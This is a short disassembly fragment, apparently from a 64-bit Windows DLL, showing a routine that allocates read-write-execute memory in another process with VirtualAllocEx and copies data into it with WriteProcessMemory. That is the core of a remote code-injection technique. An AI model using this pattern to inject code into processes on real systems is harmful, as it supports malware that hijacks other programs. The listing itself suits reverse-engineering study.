mov r9d, 0x3000
mov r8d, edi
xor edx, edx
mov rcx, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x180011a28
lea rax, [rsp + 0x70]
mov r9d, edi
mov r8, r14
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180011a28
cmp qword [rsp + 0x70], rdi
cmovne rbx, r12
mov rcx, r14
call fcn.180019db0
mov rbp, qword [rsp + 0x68]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret